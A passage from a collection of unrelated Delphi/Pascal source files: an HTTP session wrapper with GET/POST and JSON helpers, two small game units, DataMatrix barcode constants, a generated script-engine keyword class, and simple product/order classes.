FHttp.CookieManager := FIdCookieManager;
FHttp.HandleRedirects := True;
FHttp.Request.UserAgent := USER_AGENT;
FHttp.Request.Accept := '*/*';
FHttp.Request.AcceptEncoding := 'gzip';
FHttp.Request.Connection := 'keep-alive';
FHttp.Request.AcceptLanguage := 'zh-CN,zh;q=0.8';
{$ELSE}
FHttp := TNetHTTPClient.Create(nil);
FHttp.UserAgent := USER_AGENT;
FHttpReq := TNetHTTPRequest.Create(nil);
FHttpReq.Client := FHttp;
FHttpReq.Accept := '*/*';
// FHttpReq.AcceptEncoding := 'gzip';
FHttpReq.AcceptLanguage := 'zh-CN,zh;q=0.8';
{$ENDIF}
end;
destructor THttpSession.Destroy;
begin
{$IFDEF UseIndy}
FreeAndNil(FIdCookieManager);
FreeAndNil(FIdSSLHandler);
FreeAndNil(FIdCompressor);
{$ELSE}
FreeAndNil(FHttpReq);
{$ENDIF}
FreeAndNil(FHttp);
inherited;
end;
procedure THttpSession.Disconnect;
begin
{$IFDEF UseIndy}
if FHttp.Connected then
FHttp.Disconnect;
{$ENDIF}
end;
function THttpSession.Get(const AUrl: string; AArgs: array of const;
ATimeout: Integer): string;
var
LResponse: TStringStream;
I: Integer;
begin
Result := '';
{$IFDEF UseIndy}
FHttp.ReadTimeout := ATimeout;
{$ELSE}
FHttpReq.ResponseTimeout := ATimeout;
FHttpReq.ConnectionTimeout := ATimeout;
{$ENDIF}
LResponse := TStringStream.Create('', FEncdoing);
try
for I := 1 to MAX_RETRY do
begin
try
LResponse.Clear;
{$IFDEF UseIndy}
FHttp.Get(Format(AUrl, AArgs), LResponse);
{$ELSE}
FHttpReq.Get(Format(AUrl, AArgs), LResponse);
{$ENDIF}
Break;
except
on E: Exception do
begin
if I = MAX_RETRY then
raise Exception.Create(E.Message)
else
Sleep(300);
end;
end;
end;
if LResponse.Size > 0 then
Result := LResponse.DataString;
finally
LResponse.Free;
end;
end;
function THttpSession.GetCookies: string;
begin
{$IFDEF UseIndy}
Result := FHttp.Request.CustomHeaders.Values['Cookie'];
if Result.Trim = '' then
Result := FHttp.Request.RawHeaders.Values['Cookie'];
{$ELSE}
Result := FHttpReq.CustomHeaders['Cookie'];
//if Result.Trim = '' then
// Result := FHttp.CookieManager.CookieHeaders()
{$ENDIF}
end;
function THttpSession.GetImage(AUrl: string; AArgs: array of const; AOut: TStream; ATimeout: Integer): Boolean;
begin
{$IFDEF UseIndy}
FHttp.Request.Accept := 'image/*,*/*;q=0.8';
FHttp.Request.ContentType := '';
{$ELSE}
FHttpReq.Accept := 'image/*,*/*;q=0.8';
FHttp.ContentType := '';
{$ENDIF}
Result := GetStream(Format(AUrl, AArgs), AOut, ATimeout);
end;
function THttpSession.GetJSON<T>(const AUrl: string; AArgs: array of const;
ATimeout: Integer): T;
begin
{$IFDEF UseIndy}
FHttp.Request.Accept := 'application/json, text/plain, */*';
{$ELSE}
FHttpReq.Accept := 'application/json, text/plain, */*';
{$ENDIF}
TJsonMarshal.UnMarshal<T>(Get(AUrl, AArgs, ATimeout), Result);
end;
function THttpSession.GetRegEx(AUrl: string; AArgs: array of const;
APattern: string; ATimeout: Integer): TMatch;
begin
{$IFDEF UseIndy}
FHttp.Request.Accept := 'text/plain, */*';
FHttp.Request.ContentType := '';
{$ELSE}
FHttpReq.Accept := 'image/*,*/*;q=0.8';
FHttp.ContentType := '';
{$ENDIF}
Result := TRegEx.Match(Get(AUrl, AArgs, ATimeout), APattern);
end;
function THttpSession.GetStream(const AUrl: string; AStream: TStream;
ATimeout: Integer): Boolean;
begin
AStream.Position := 0;
{$IFDEF UseIndy}
FHttp.ReadTimeout := ATimeout;
FHttp.Get(AUrl, AStream);
{$ELSE}
FHttpReq.ResponseTimeout := ATimeout;
FHttpReq.Get(AUrl, AStream);
{$ENDIF}
Result := AStream.Size > 0;
if Result then
AStream.Position := 0;
end;
function THttpSession.GetText(AUrl: string; AArgs: array of const;
ATimeout: Integer): string;
begin
{$IFDEF UseIndy}
FHttp.Request.Accept := 'text/plain, */*';
FHttp.Request.ContentType := '';
{$ELSE}
FHttpReq.Accept := 'text/plain, */*';
FHttp.ContentType := '';
{$ENDIF}
Result := Get(AUrl, AArgs, ATimeout);
end;
function THttpSession.GetXML<T>(const AUrl: string; AArgs: array of const;
ATimeout: Integer; AThread: Boolean): T;
var
LData: string;
LResult: T;
begin
{$IFDEF UseIndy}
FHttp.Request.Accept := 'text/xml, text/plain, */*';
FHttp.Request.ContentType := '';
{$ELSE}
FHttpReq.Accept := 'text/xml, text/plain, */*';
FHttp.ContentType := '';
{$ENDIF}
if AThread then
begin
LData := Get(AUrl, AArgs, ATimeout);
TThread.Synchronize(nil, procedure begin
TXmlMarshal.UnMarshal<T>(LData, LResult);
end);
Result := LResult;
end else
TXmlMarshal.UnMarshal<T>(Get(AUrl, AArgs, ATimeout), Result);
end;
function THttpSession.Post(const AURL: string; AArgs: array of const;
AParams: string; ATimeout: Integer): string;
var
LParams, LResponse: TStringStream;
I: Integer;
begin
Result := '';
{$IFDEF UseIndy}
FHttp.ReadTimeout := ATimeout;
{$ELSE}
FHttpReq.ResponseTimeout := ATimeout;
{$ENDIF}
LResponse := TStringStream.Create('', FEncdoing);
try
LParams := TStringStream.Create('', FEncdoing);
try
LParams.WriteString(AParams);
LParams.Position := 0;
for I := 1 to MAX_RETRY do
begin
try
LResponse.Clear;
{$IFDEF UseIndy}
FHttp.Post(Format(AURL, AArgs), LParams, LResponse);
{$ELSE}
FHttpReq.Post(Format(AURL, AArgs), LParams, LResponse);
{$ENDIF}
Break;
except
on E: Exception do
begin
if I = MAX_RETRY then
raise Exception.Create(E.Message)
else
Sleep(300);
end;
end;
end;
if LResponse.Size > 0 then
Result := LResponse.DataString;
finally
LParams.Free;
end;
finally
LResponse.Free;
end;
end;
function THttpSession.PostJSON<P, R>(const AURL: string;
AArgs: array of const; AParams: P; ATimeout: Integer): R;
var
LJsonData: string;
begin
TJsonMarshal.Marshal<P>(AParams, LJsonData);
{$IFDEF UseIndy}
FHttp.Request.Accept := 'application/json, text/plain, */*';
FHttp.Request.ContentType := 'application/json;charset=UTF-8';
{$ELSE}
FHttpReq.Accept := 'application/json, text/plain, */*';
FHttp.ContentType := 'application/json;charset=UTF-8';
{$ENDIF}
TJsonMarshal.UnMarshal<R>(Post(AURL, AArgs, LJsonData), Result);
end;
function THttpSession.PostJSONText(const AURL: string; AArgs: array of const;
AJsonStr: string; ATimeout: Integer): string;
begin
{$IFDEF UseIndy}
FHttp.Request.Accept := 'application/json, text/plain, */*';
FHttp.Request.ContentType := 'application/json;charset=UTF-8';
{$ELSE}
FHttpReq.Accept := 'application/json, text/plain, */*';
FHttp.ContentType := 'application/json;charset=UTF-8';
{$ENDIF}
Result := Post(AURL, AArgs, AJsonStr);
end;
function THttpSession.PostStream(const AUrl: string; AStream: TStream;
AOut: TStream; ATimeout: Integer): Boolean;
begin
AStream.Position := 0;
{$IFDEF UseIndy}
FHttp.ReadTimeout := ATimeout;
FHttp.Post(AUrl, AStream, AOut);
{$ELSE}
FHttpReq.ResponseTimeout := ATimeout;
FHttpReq.Post(AUrl, AStream, AOut);
{$ENDIF}
Result := AOut.Size > 0;
if Result then
AOut.Position := 0;
end;
function THttpSession.PostJSONEmpty<R>(const AURL: string;
AArgs: array of const; ATimeout: Integer): R;
begin
Result := PostJSON<string, R>(AURL, AArgs, '{}', ATimeout);
end;
function THttpSession.PostText(AUrl: string; AArgs: array of const;
AParams: IHttpParams; ATimeout: Integer): string;
begin
{$IFDEF UseIndy}
FHttp.Request.Accept := 'text/plain, */*';
FHttp.Request.ContentType := '';
{$ELSE}
FHttpReq.Accept := 'text/plain, */*';
FHttp.ContentType := '';
{$ENDIF}
Result := Post(AUrl, AArgs, AParams.Params, ATimeout);
end;
function THttpSession.PostText2(AUrl: string; AParams: TStrings;
ATimeout: Integer): string;
var
LResponse: TStringStream;
I: Integer;
begin
Result := '';
LResponse := TStringStream.Create('', FEncdoing);
try
{$IFDEF UseIndy}
FHttp.Request.Accept := 'text/plain, */*';
FHttp.Request.ContentType := '';
{$ELSE}
FHttpReq.Accept := 'text/plain, */*';
FHttp.ContentType := '';
{$ENDIF}
for I := 1 to MAX_RETRY do
begin
try
{$IFDEF UseIndy}
FHttp.Post(AUrl, AParams, LResponse);
{$ELSE}
FHttpReq.Post(AUrl, AParams, LResponse);
{$ENDIF}
if LResponse.Size > 0 then
Result := LResponse.DataString;
Break;
except
on E: Exception do
begin
if I = MAX_RETRY then
raise Exception.Create(E.Message);
end;
end;
end;
finally
LResponse.Free;
end;
end;
procedure THttpSession.SetCookies(const ACookies: string);
begin
{$IFDEF UseIndy}
FHttp.Request.CustomHeaders.Values['Cookie'] := ACookies;
{$ELSE}
FHttpReq.CustomHeaders['Cookie'] := ACookies;
{$ENDIF}
end;
{ THttpParams }
constructor THttpParams.Create;
begin
inherited Create;
FItems := TDictionary<string, string>.Create;
end;
destructor THttpParams.Destroy;
begin
FItems.Free;
inherited;
end;
function THttpParams.GetParams: string;
var
LItem: TPair<string, string>;
I: Integer;
begin
Result := '';
I := 0;
for LItem in FItems do
begin
if I > 0 then
Result := Result + '&';
Result := Result + LItem.Key + '=' + LItem.Value;
Inc(I);
end;
end;
function THttpParams.Add(AKey, AVal: string): IHttpParams;
begin
Result := Self;
FItems.Add(AKey, AVal);
end;
function THttpParams.Del(AKey: string): IHttpParams;
begin
Result := Self;
if FItems.ContainsKey(AKey) then
FItems.Remove(AKey);
end;
function THttpParams.&Set(AKey, AVal: string): IHttpParams;
begin
Result := Self;
FItems.AddOrSetValue(AKey, AVal);
end;
end.
|
unit uGame;
interface
uses
glr_core,
glr_render,
glr_tween,
glr_gamescreens;
type
{ TGame }
TGame = class (TglrGame)
private
public
GameScreenManager: TglrGameScreenManager;
MainMenuScreen, SettingsScreen, GameScreen: TglrGameScreen;
Tweener: TglrTweener;
procedure OnFinish; override;
procedure OnInput(Event: PglrInputEvent); override;
procedure OnPause; override;
procedure OnRender; override;
procedure OnResize(aNewWidth, aNewHeight: Integer); override;
procedure OnResume; override;
procedure OnStart; override;
procedure OnUpdate(const dt: Double); override;
end;
var
Game: TGame;
implementation
uses
uGSMainMenu,
uGSSettingsMenu,
uAssets;
{ TGame }
procedure TGame.OnStart;
begin
Render.SetClearColor(0.1, 0.25, 0.30);
Assets.LoadBase();
Tweener := TglrTweener.Create();
MainMenuScreen := TglrMainMenu.Create('MainMenu');
SettingsScreen := TglrSettingsMenu.Create('SettingsMenu');
GameScreenManager := TglrGameScreenManager.Create(3);
GameScreenManager.Add(MainMenuScreen);
GameScreenManager.Add(SettingsScreen);
GameScreenManager.SwitchTo(MainMenuScreen);
end;
procedure TGame.OnFinish;
begin
Tweener.Free();
GameScreenManager.Free(True);
Assets.UnloadBase();
end;
procedure TGame.OnInput(Event: PglrInputEvent);
begin
GameScreenManager.Input(Event);
end;
procedure TGame.OnUpdate(const dt: Double);
begin
GameScreenManager.Update(dt);
Tweener.Update(dt);
end;
procedure TGame.OnRender;
begin
GameScreenManager.Render();
end;
procedure TGame.OnPause;
begin
// Calls when engine receives that app was lost focus
end;
procedure TGame.OnResume;
begin
// Calls when engine receives that app was focused
end;
procedure TGame.OnResize(aNewWidth, aNewHeight: Integer);
begin
// Calls when windows has changed size
end;
end.
|
unit ECC200Consts;
{===============================================================================
DataMatrix Barcode standard ECC200.
(c) 2012 QBS Software Ltd
http://www.qbs.co.uk
================================================================================}
interface
uses classes;
const
{
1 - 128 ASCII data (ASCII value + 1)
129 Pad
130 - 229 2-digit data 00 - 99 (Numeric Value + 130)
230 Latch to C40 encodation
231 Latch to Base 256 encodation
232 FNC1
233 Structured Append
234 Reader Programming
235 Upper Shift (shift to Extended ASCII)
236 05 Macro
237 06 Macro
238 Latch to ANSI X12 encodation
239 Latch to Text encodation
240 Latch to EDIFACT encodation
241 ECI Character
242 - 255 Not to be used in ASCII encodation
}
ascfirst = 1;
asclast = 128;
ascPad = 129;
ascLatchC40 = 230;
ascLatchB256 = 231;
ascUpperShift = 235;
ascFNC = 232;
type
TMatrixsize = ( m8x8, m10x10, m12x12, m14x14, m16x16, m18x18, m20x20, m22x22, m24x24, m28x28, m32x32, m36x36, m40x40, m44x44);
TVarByte = array of byte;
TVarInt = array of integer;
TPatternInfoRec = record
matrixdim : integer;
databytes : integer;
ECCbytes : integer;
regions : integer;
regionsize : integer;
numBlocks : integer;
regionNumECC : integer;
end;
procedure GetPatternInfo( msize : integer; var datasize : integer; var eccsize : integer; var regions : integer; var regsize : integer; var blocks : integer);
const
// the matrixdim is the size ( rows ) of the DATA area, not including the finder pattern and the quiet zone.
// e.g. 16x16 is physically 18x18 in size. See page 16 ( 24)
// PatternInfo : array[0..16] of TPatternInfoRec = (
PatternInfo : array[TMatrixsize] of TPatternInfoRec = (
( matrixdim : 8; databytes : 3; eccbytes : 5; regions : 1; regionsize : 0 ; numBlocks : 1; regionNumECC : 0),
( matrixdim : 10; databytes : 5; eccbytes : 7; regions : 1; regionsize : 0 ; numBlocks : 1; regionNumECC : 0),
( matrixdim : 12; databytes : 8; eccbytes : 10; regions : 1; regionsize : 0 ; numBlocks : 1; regionNumECC : 0),
( matrixdim : 14; databytes : 12; eccbytes : 12; regions : 1; regionsize : 0 ; numBlocks : 1; regionNumECC : 0),
( matrixdim : 16; databytes : 18; eccbytes : 14; regions : 1; regionsize : 0 ; numBlocks : 1; regionNumECC : 0),
( matrixdim : 18; databytes : 22; eccbytes : 18; regions : 1; regionsize : 0 ; numBlocks : 1; regionNumECC : 0),
( matrixdim : 20; databytes : 30; eccbytes : 20; regions : 1; regionsize : 0 ; numBlocks : 1; regionNumECC : 0),
( matrixdim : 22; databytes : 36; eccbytes : 24; regions : 1; regionsize : 0 ; numBlocks : 1; regionNumECC : 0),
( matrixdim : 24; databytes : 44; eccbytes : 28; regions : 1; regionsize : 0 ; numBlocks : 1; regionNumECC : 0),
( matrixdim : 28; databytes : 62; eccbytes : 36; regions : 4; regionsize : 14 ; numBlocks : 1; regionNumECC : 0),
( matrixdim : 32; databytes : 86; eccbytes : 42; regions : 4; regionsize : 16 ; numBlocks : 1; regionNumECC : 0),
( matrixdim : 36; databytes : 114; eccbytes : 48; regions : 4; regionsize : 18 ; numBlocks : 1; regionNumECC : 0),
( matrixdim : 40; databytes : 144; eccbytes : 56; regions : 4; regionsize : 20 ; numBlocks : 1; regionNumECC : 0),
( matrixdim : 44; databytes : 174; eccbytes : 68; regions : 4; regionsize : 22 ; numBlocks : 1; regionNumECC : 0)//,
//( matrixdim : 48; databytes : 204; eccbytes : 84; regions : 4; regionsize : 24 ; numBlocks : 2; regionNumECC : 0),
//( matrixdim : 56; databytes : 280; eccbytes : 112; regions : 16; regionsize : 14 ; numBlocks : 2; regionNumECC : 0),
//( matrixdim : 64; databytes : 368; eccbytes : 144; regions : 16; regionsize : 16 ; numBlocks : 4; regionNumECC : 0)
);
implementation
procedure GetPatternInfo( msize : integer; var datasize : integer; var eccsize : integer; var regions : integer; var regsize : integer; var blocks : integer);
var
k : TMatrixsize;
begin
datasize := -1;
for K:= m8x8 to m44x44 do
if msize=Patterninfo[k].matrixdim then
begin
datasize := Patterninfo[k].databytes;
eccsize := Patterninfo[k].ECCbytes;
regions := Patterninfo[k].regions;
regsize := PatternInfo[k].regionsize;
blocks := PatternInfo[k].numBlocks;
break;
end;
end;
end.
|
unit wwGVAdapter;
interface
uses
SysUtils, Windows, Messages, Classes, VCL.Graphics, VCL.Controls,
VCL.Forms, VCL.Dialogs, TFGame, WormsWorld, wwTypes, wwClasses;
type
TSmartWormGame = class (TTFGame)
private
f_WormCount: Integer;
f_Ressurect: Boolean;
f_TargetCount: Integer;
f_InstantTarget: Boolean;
public
constructor Create(aRezFile: string);
destructor Destroy; override;
procedure LoadConfig; override;
procedure SaveConfig; override;
end;
TSmartWormGameScene = class (TTFGameScene)
private
FWormsField: TWormsField;
FWormImages: array[ws_NoBody..ws_Target, 0..4] of Cardinal;
Spr : Integer;
FPage, WPage, WGroup: Cardinal;
Font : Integer;
FDelay: Integer;
function GetMaxWormsCount: Integer;
procedure SetMaxWormsCount(Value: Integer);
function GetMaxTargetCount: Integer;
procedure SetMaxTargetCount(Value: Integer);
function GetRessurectWorms: Boolean;
procedure SetRessurectWorms(Value: Boolean);
function GetRessurectTargets: Boolean;
procedure SetRessurectTargets(Value: Boolean);
public
constructor Create(AOwner: TTFGame; aSize: TRect); reintroduce;
destructor Destroy; override;
procedure FreeResources; override;
procedure LoadResources; override;
procedure Render; override;
procedure Update(ElapsedTime: Single); override;
procedure DrawThing(aThing: TwwThing);
property MaxWormsCount: Integer read GetMaxWormsCount write SetMaxWormsCount;
property MaxTargetCount: Integer read GetMaxTargetCount write SetMaxTargetCount;
property RessurectWorms: Boolean read GetRessurectWorms write SetRessurectWorms;
property RessurectTargets: Boolean read GetRessurectTargets write
SetRessurectTargets;
end;
implementation
Uses
IniFiles, Math,
wwWorms, wwUtils,
GVDLL;
var
WormColors : array[0..4] of Cardinal;
{
******************************** TSmartWormGame ********************************
}
constructor TSmartWormGame.Create(aRezFile: string);
var
l_Size: TRect;
i: Integer;
begin
inherited Create(aRezFile);
l_Size.Left:= 0;
l_Size.Top:= 0;
l_Size.Right:= (Width div 16);
l_Size.Bottom:= (Height div 16);
AddScene(TSmartWormGameScene.Create(Self, l_Size));
with TSmartWormGameScene(Scenes[0]) do
begin
MaxWormsCount:= f_WormCount;
MaxTargetCount:= f_TargetCount;
RessurectWorms:= f_Ressurect;
RessurectTargets:= f_InstantTarget;
end;
WormColors[0]:= GV_Color_Make(93,114,164, 255);
WormColors[1]:= GV_Color_Make(172,163,98, 255);
WormColors[2]:= GV_Color_Make(170,104,97, 255);
WormColors[3]:= GV_Color_Make(143,97,170, 255);
WormColors[4]:= GV_Color_Make(96,170,158, 255);
end;
destructor TSmartWormGame.Destroy;
begin
Scenes[0].Free;
inherited Destroy;
end;
procedure TSmartWormGame.LoadConfig;
begin
inherited LoadConfig;
Caption:= 'Smart Worms';
with TIniFile.Create(ChangeFileExt(ParamStr(0), '.ini')) do
try
Width:= ReadInteger('Preferences', 'Width', 1024);
Height:= ReadInteger('Preferences', 'Height', 768);
ColorDeep:= ReadInteger('Preferences', 'ColorDeep', 16);
Windowed:= ReadBool('Preferences', 'Window', False);
f_WormCount:= Min(Abs(ReadInteger('Preferences', 'WormCount', 3)), 5);
f_Ressurect:= ReadBool('Preferences', 'Ressurect', True);
f_TargetCount:= ReadInteger('Preferences', 'TargetCount', 5);
f_InstantTarget:= ReadBool('Preferences', 'InstantTarget', False);
finally
Free;
end;
end;
procedure TSmartWormGame.SaveConfig;
begin
inherited SaveConfig;
with TIniFile.Create(ChangeFileExt(ParamStr(0), '.ini')) do
try
WriteInteger('Preferences', 'Width', Width);
WriteInteger('Preferences', 'Height', Height);
WriteInteger('Preferences', 'ColorDeep', ColorDeep);
WriteBool('Preferences', 'Window', Windowed);
WriteInteger('Preferences', 'WormCount', f_WormCount);
WriteBool('Preferences', 'Ressurect', f_Ressurect);
WriteInteger('Preferences', 'TargetCount', f_TargetCount);
WriteBool('Preferences', 'InstantTarget', f_InstantTarget);
finally
Free;
end;
end;
{
***************************** TSmartWormGameScene ******************************
}
constructor TSmartWormGameScene.Create(AOwner: TTFGame; aSize: TRect);
begin
inherited Create(AOwner);
FWormsField:= TWormsField.Create(aSize);
end;
destructor TSmartWormGameScene.Destroy;
begin
inherited Destroy;
FreeAndNil(FWormsField);
end;
procedure TSmartWormGameScene.FreeResources;
begin
GV_Sprite_Dispose(Spr);
GV_Font_Dispose(Font);
end;
procedure TSmartWormGameScene.LoadResources;
var
i: Integer;
begin
Spr := GV_Sprite_Create;
WPage := GV_Sprite_LoadPage(Spr, Rez, 0, 'data/images/worm16.png');
WGroup := GV_Sprite_AddGroup(Spr);
for i:= 0 to 4 do
begin
// head load
fWormImages[ws_HeadU, i] := GV_Sprite_AddImageGrid(Spr, WPage, WGroup, 3, 0+(2*i), 16, 16);
fWormImages[ws_HeadD, i] := GV_Sprite_AddImageGrid(Spr, WPage, WGroup, 0, 1+(2*i), 16, 16);
fWormImages[ws_HeadR, i] := GV_Sprite_AddImageGrid(Spr, WPage, WGroup, 4, 0+(2*i), 16, 16);
fWormImages[ws_HeadL, i] := GV_Sprite_AddImageGrid(Spr, WPage, WGroup, 5, 1+(2*i), 16, 16);
// tail load
fWormImages[ws_TailU, i] := GV_Sprite_AddImageGrid(Spr, WPage, WGroup, 1, 1+(2*i), 16, 16);
fWormImages[ws_TailD, i] := GV_Sprite_AddImageGrid(Spr, WPage, WGroup, 2, 0+(2*i), 16, 16);
fWormImages[ws_TailR, i] := GV_Sprite_AddImageGrid(Spr, WPage, WGroup, 5, 0+(2*i), 16, 16);
fWormImages[ws_TailL, i] := GV_Sprite_AddImageGrid(Spr, WPage, WGroup, 4, 1+(2*i), 16, 16);
// junctions load
{junLeftDown}fWormImages[ws_RotD, i] := GV_Sprite_AddImageGrid(Spr, WPage, WGroup, 1, 0+(2*i), 16, 16);
{junRightDown}fWormImages[ws_RotL, i] := GV_Sprite_AddImageGrid(Spr, WPage, WGroup, 0, 0+(2*i), 16, 16);
{junLeftUp}fWormImages[ws_RotUL, i] := GV_Sprite_AddImageGrid(Spr, WPage, WGroup, 3, 1+(2*i), 16, 16);
{junRightUp}fWormImages[ws_RotUR, i] := GV_Sprite_AddImageGrid(Spr, WPage, WGroup, 2, 1+(2*i), 16, 16);
// body load
fWormImages[ws_BodyH, i] := GV_Sprite_AddImageGrid(Spr, WPage, WGroup, 6, 0+(2*i), 16, 16);
fWormImages[ws_BodyV, i] := GV_Sprite_AddImageGrid(Spr, WPage, WGroup, 6, 1+(2*i), 16, 16);
end; // for i
fWormImages[ws_Target, 0] := GV_Sprite_AddImageGrid(Spr, FPage, {FGroup}WGroup, 7,0,16,16);
fWormImages[ws_Target, 1] := GV_Sprite_AddImageGrid(Spr, FPage, {FGroup}WGroup, 7,1,16,16);
Font := GV_Font_Load(Rez, 'data/font/font0');
end;
procedure TSmartWormGameScene.Render;
var
i, j: Integer;
Y: Single;
begin
inherited;
GV_RenderDevice_ClearFrame(GV_ClearFrame_Default, GV_DkGray);
j:= 0;
for i:= 0 to Pred(FWormsField.Count) do
begin
DrawThing(FWormsField.Things[i]);
if FWormsField.Things[i] is TwwWorm then
begin
Y:= Game.Height-16;
with FWormsField.Things[i] as TwwWorm do
GV_Font_Print(Font, i*(Game.Width div FWormsField.WormsCount), Y, WormColors[i],
'%s: %d (Max:%d) for %d', [Caption, Length, Mind.MaxThingLength, Age]);
Inc(j);
end;
end;
end;
procedure TSmartWormGameScene.Update(ElapsedTime: Single);
var
i: Integer;
l_Delay: Integer;
begin
inherited;
if GV_Input_KeyHit(GV_KEY_ESCAPE) then
GV_App_Terminate
else
begin
if Game.FrameRate > 0 then
begin
l_Delay:= Round(Game.FrameRate / 25);
if l_Delay > 1 then
begin
if fDelay < l_Delay then
begin
Inc(fDelay);
exit
end
else
FDelay:= 0;
end
else
if l_Delay = 0 then
exit;
{ Логика игры }
FWormsField.Update;
end;
end;
end;
function TSmartWormGameScene.GetMaxWormsCount: Integer;
begin
Result := FWormsField.MaxWormsCount;
end;
procedure TSmartWormGameScene.SetMaxWormsCount(Value: Integer);
begin
FWormsField.MaxWormsCount:= Value;
end;
function TSmartWormGameScene.GetMaxTargetCount: Integer;
begin
Result := FWormsField.MaxTargetCount;
end;
procedure TSmartWormGameScene.SetMaxTargetCount(Value: Integer);
begin
FWormsField.MaxTargetCount:= Value;
end;
procedure TSmartWormGameScene.DrawThing(aThing: TwwThing);
var
i, l_What: Integer;
Y: Single;
l_Draw: Boolean;
begin
if not aThing.IsDead then
begin
for i:= 0 to Pred(aThing.Length) do
begin
if (i > 0) then
l_Draw:= not Equal(aThing.Points[i].Position, aThing.Points[Pred(i)].Position)
else
l_Draw:= True;
if l_Draw then
begin
GV_Sprite_RenderImage(Spr, fWormImages[aThing.Points[i].Value, aThing.Variety], WGroup,
aThing.Points[i].Position.X*16,
aThing.Points[i].Position.Y*16,
1, 0, GV_White, nil, GV_RenderState_Image);
end;
end;
end;
end;
function TSmartWormGameScene.GetRessurectWorms: Boolean;
begin
Result := FWormsField.InstantRessurectWorms;
end;
procedure TSmartWormGameScene.SetRessurectWorms(Value: Boolean);
begin
FWormsField.InstantRessurectWorms:= Value;
end;
function TSmartWormGameScene.GetRessurectTargets: Boolean;
begin
Result := FWormsField.InstantRessurectTargets;
end;
procedure TSmartWormGameScene.SetRessurectTargets(Value: Boolean);
begin
FWormsField.InstantRessurectTargets:= Value;
end;
end.
|
unit kwWordAlias;
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// Библиотека "ScriptEngine"
// Автор: Люлин А.В.
// Модуль: "w:/common/components/rtl/Garant/ScriptEngine/kwWordAlias.pas"
// Начат: 15.02.2012 18:31
// Родные Delphi интерфейсы (.pas)
// Generated from UML model, root element: <<ScriptKeyword::Class>> Shared Delphi Scripting::ScriptEngine::Scripting::WordAlias
//
//
// Все права принадлежат ООО НПП "Гарант-Сервис".
//
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// ! Полностью генерируется с модели. Править руками - нельзя. !
{$Include ..\ScriptEngine\seDefine.inc}
interface
{$If not defined(NoScripts)}
uses
l3Interfaces,
tfwScriptingInterfaces,
kwCompiledWord,
l3ParserInterfaces
;
{$IfEnd} //not NoScripts
{$If not defined(NoScripts)}
type
{$Include ..\ScriptEngine\tfwConstLike.imp.pas}
TkwWordAlias = {final} class(_tfwConstLike_)
protected
// overridden protected methods
procedure FinishDefinitionOfNewWord(aWordToFinish: TtfwKeyWord;
aCompiled: TkwCompiledWord;
const aContext: TtfwContext); override;
{* Завершает определение вновь созданного слова }
function SupressNextImmediate: Boolean; override;
public
// overridden public methods
class function GetWordNameForRegister: AnsiString; override;
end;//TkwWordAlias
{$IfEnd} //not NoScripts
implementation
{$If not defined(NoScripts)}
uses
SysUtils,
l3String,
l3Parser,
kwInteger,
kwString,
TypInfo,
l3Base,
kwIntegerFactory,
kwStringFactory,
l3Chars,
tfwAutoregisteredDiction,
tfwScriptEngine
;
{$IfEnd} //not NoScripts
{$If not defined(NoScripts)}
type _Instance_R_ = TkwWordAlias;
{$Include ..\ScriptEngine\tfwConstLike.imp.pas}
// start class TkwWordAlias
class function TkwWordAlias.GetWordNameForRegister: AnsiString;
{-}
begin
Result := 'WordAlias';
end;//TkwWordAlias.GetWordNameForRegister
procedure TkwWordAlias.FinishDefinitionOfNewWord(aWordToFinish: TtfwKeyWord;
aCompiled: TkwCompiledWord;
const aContext: TtfwContext);
//#UC START# *4F219629036A_4F3BC19A0061_var*
var
l_W : TtfwWord;
l_Key : TtfwKeyWord;
//#UC END# *4F219629036A_4F3BC19A0061_var*
begin
//#UC START# *4F219629036A_4F3BC19A0061_impl*
CompilerAssert((aCompiled.Code <> nil) AND (aCompiled.Code.Count = 1),
'Неверное число парамеров для слова WordAlias',
aContext
);
l_W := aCompiled.Code[0];
l_Key := TtfwKeyWord(l_W.Key);
try
aWordToFinish.Word := l_W;
// - регистрируем алиас слова в словаре
finally
l_W.Key := l_Key;
// - восстанавливаем слову предыдущее значение ключа
end;//try..finally
//#UC END# *4F219629036A_4F3BC19A0061_impl*
end;//TkwWordAlias.FinishDefinitionOfNewWord
function TkwWordAlias.SupressNextImmediate: Boolean;
//#UC START# *4F3AB3B101FC_4F3BC19A0061_var*
//#UC END# *4F3AB3B101FC_4F3BC19A0061_var*
begin
//#UC START# *4F3AB3B101FC_4F3BC19A0061_impl*
Result := true;
//#UC END# *4F3AB3B101FC_4F3BC19A0061_impl*
end;//TkwWordAlias.SupressNextImmediate
{$IfEnd} //not NoScripts
initialization
{$If not defined(NoScripts)}
{$Include ..\ScriptEngine\tfwConstLike.imp.pas}
{$IfEnd} //not NoScripts
end. |
unit produto;
interface
uses
Classes;
type
TProduto = class
private
FCodigo: Integer;
FNome: string;
public
property Codigo: Integer read FCodigo write FCodigo;
property Nome: string read FNome write FNome;
constructor Create();
end;
TItem = class
private
FProduto: TProduto;
FValor: Double;
FQtde: Integer;
public
property Produto: TProduto read FProduto write FProduto;
property Qtde: Integer read FQtde write FQtde;
property Valor: Double read FValor write FValor;
end;
TPedido = class
private
FLista : TList;
function GetCount: Integer;
function GetTotal: Double; virtual;
protected
function GetItem(AIndex : Integer): TItem; virtual;
procedure SetItem(AIndex: Integer; AItem: TItem); virtual;
public
property Total: Double read GetTotal;
property Itens[index : Integer]: TItem read GetItem write SetItem;
property Count : Integer read GetCount;
procedure Add(AItem : TItem);
constructor Create();
destructor Destroy; override;
end;
implementation
{ TProduto }
constructor TProduto.Create();
begin
inherited Create;
FCodigo := 0;
FNome := 'Default';
end;
{ TPedido }
procedure TPedido.Add(AItem: TItem);
begin
FLista.Add(AItem);
end;
constructor TPedido.Create;
begin
inherited Create;
FLista:= TList.Create;
end;
destructor TPedido.Destroy;
var
i: Integer;
begin
for I := Count downto 0 do
begin
TItem(FLista[I]).Free;
FLista[I] := nil;
end;
FLista.Free;
inherited;
end;
function TPedido.GetCount: Integer;
begin
Result := FLista.Count - 1;
end;
function TPedido.GetItem(AIndex: Integer): TItem;
begin
if AIndex <= FLista.Count - 1 then
result := TItem(FLista[AIndex])
else
Result := nil;
end;
function TPedido.GetTotal: Double;
var
I : Integer;
begin
Result := 0;
for I := 0 to Count do
Result := Result + (Itens[I].Valor * Itens[I].Qtde);
end;
procedure TPedido.SetItem(AIndex: Integer; AItem: TItem);
begin
if AIndex <= FLista.Count - 1 then
FLista[AIndex] := AItem;
end;
end.
|
unit PopulatedBlock;
interface
uses
